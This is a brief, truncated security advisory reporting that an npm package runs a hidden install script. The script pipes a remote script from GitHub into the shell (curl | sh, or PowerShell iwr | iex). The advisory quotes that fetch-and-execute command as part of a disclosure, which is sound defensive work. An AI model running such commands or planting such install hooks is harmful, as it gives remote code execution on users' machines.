Malicious code in @riteshkumar04/stack-audit (npm)

Source: amazon-inspector 145196e93f9e6006134b35a8d5abfe7fa0de18f2d52b6712d8b2a5ec036526bc On npm install, scripts/install.js runs curl -sSL https://raw.githubusercontent.com/neutron420/StackAudit/main/scripts/install.sh | sh or the PowerShell equivalent iwr... install.ps1 | iex. The fetched scrip...